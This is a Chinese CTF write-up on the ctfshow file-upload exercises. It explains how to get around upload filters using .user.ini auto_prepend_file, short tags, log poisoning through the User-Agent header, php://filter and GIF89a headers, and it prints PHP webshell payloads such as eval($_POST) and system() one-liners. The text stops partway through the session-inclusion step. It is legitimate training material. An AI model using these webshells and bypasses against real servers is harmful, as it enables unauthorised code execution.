Web-文件上传
文件上传
以下题目均来自于ctfshow web入门练习题文件上传部分。
前端校验
查看源代码,发现button里检验是不是png:
1 | <button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept:'images',exts:'png'}"> |
两种方法绕过:
方法一:
直接在elements修改源代码,把png改成php,之后上传1.php,里边写一句话木马:
1 | system('tac ../flag.php'); |
方法二:
将1.php修改后缀为png,burp抓包后再修改成php。
后端校验
后端校验1
就是会加一个对文件类型的检验,即Content-Type: image/png,这个单纯改文件后缀没用,因此只能用burp抓包。
1 | Content-Disposition: form-data; name="file"; filename="1.png" |
将上述抓包内容中的1.png修改为1.php即可。
后端校验2
后台检测了文件后缀,不能为php,否则报错文件类型不合规。
考虑使用.user.ini绕过。
.user.ini
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
php 配置项中有两个配置可以起到一些作用:
1 | auto_prepend_file = <filename> //包含在文件头 |
这两个配置项的作用相当于一个文件包含,比如
1 | // .user.ini |
满足这三个文件在同一目录下,则相当于在index.php文件里插入了包含语句require(‘1.png’),进行了文件包含。
另一条配置包含在文件尾,如果遇到了 exit 语句的话就会失效。
.user.ini使用范围很广,不仅限于 Apache 服务器,同样适用于 Nginx 服务器,只要服务器启用了 fastcgi 模式 (通常非线程安全模式使用的就是 fastcgi 模式)。
局限
在.user.ini
中使用这条配置也说了是在同目录下的其他.php 文件中包含配置中所指定的文件,也就是说需要该目录下存在.php 文件(一般是index.php),通常在文件上传中,一般是专门有一个目录用来存在图片,可能小概率会存在.php 文件。
利用思路:
首先上传.user.png,里边写
auto_prepend_file = 1.png
,burp抓包修改后缀为.ini。之后,上传1.png,里边写一句话木马。
最后访问upload/index.php。
后端校验3
后台检测了文件内容,不能有php,否则报错文件内容不合规。
可以使用php大小写或短标签绕过(这题不知道为什么短标签不行),在上一题的基础上修改1.png内容:
1 | system('tac ../flag.*'); pHp |
后端校验4
严格过滤了php,因此大小写绕过失效,这题需要用短标签绕过:
1 | system('tac ../flag.*'); |
后端校验5
过滤了php、[ 符号,如果使用<? @eval($_POST["a"]); ?>
的话将[]替换成{}即可绕过,或者用<? system('tac ../flag.*');?>
直接同上。
后端校验6
过滤了php、[、{,由于我们 $_POST[] 只使用一个参数并且为数组格式,考虑使用 array_pop() 弹出最后一个单元,如果使用<? @eval($_POST["a"]); ?>
的话替换成<? eval(array_pop($_POST)); ?>
即可绕过,或者用<? system('tac ../flag.*');?>
直接同上。
后端校验7
过滤了php、[、{、;、log
1 | #法一 |
后端校验8
过滤了php、[、{、;、log、(
过滤了()意味着过滤了函数,上题法一和法二均失效,但是include可以不使用()。
Nginx日志的默认路径:/var/log/nginx/
1 | include '/var/lo'.'g/nginx/access.l'.'og' //用.分割是因为过滤了log |
因为日志文件中会将User-Agent的内容都写入进去,于是尝试在UA段里写入一句话木马。
需要修改User-Agent为一句话木马: <?php system('tac ../flag.php');?>
或使用反引号:
1 | //这里=不能省略不知道为什么,可能是版本的原因。另外不能在后边加; 可能是短标签的原因。 `tac ../f*` |
后端校验9
过滤了php、[、{、;、log、(、空格。
方法一:
在上题基础上多了空格,删去空格即可。
1 | include'/var/lo'.'g/nginx/access.l'.'og' |
同样需要修改User-Agent为一句话木马: <?php system('tac ../flag.php');?>
方法二:
因为include的原因,可以使用伪协议读取:
1 | include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp" |
之后base64解码即可。
后端校验10
后端用getimagesize()对文件头做了检测。
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
所以在上题的基础上都加个 GIF89a 图片头就可以了。同理,.user.ini也得加
因此,修改1.png:
1 | GIF89a |
后端校验11
再前一题的基础上又过滤了.和flag,因此包含不了.log
文件了,尝试包含session文件
方法一:
include包含,继续上传.user.ini
,修改为:
1 | GIF89A |